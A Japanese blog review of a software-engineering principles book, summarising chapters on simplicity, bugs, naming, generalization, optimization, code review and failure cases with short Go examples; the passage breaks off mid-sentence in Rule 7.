speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常にシンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don\'t Repeat Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\\"Character state is inconsistent\\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\\"invalid object ID\\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \\" \\" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \\" \\" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it\'s not just about writing code, it\'s about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain\'t Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don\'t Optimize第5章「The First Lesson of Optimization Is Don\'t Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\\"Unreachable\\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state 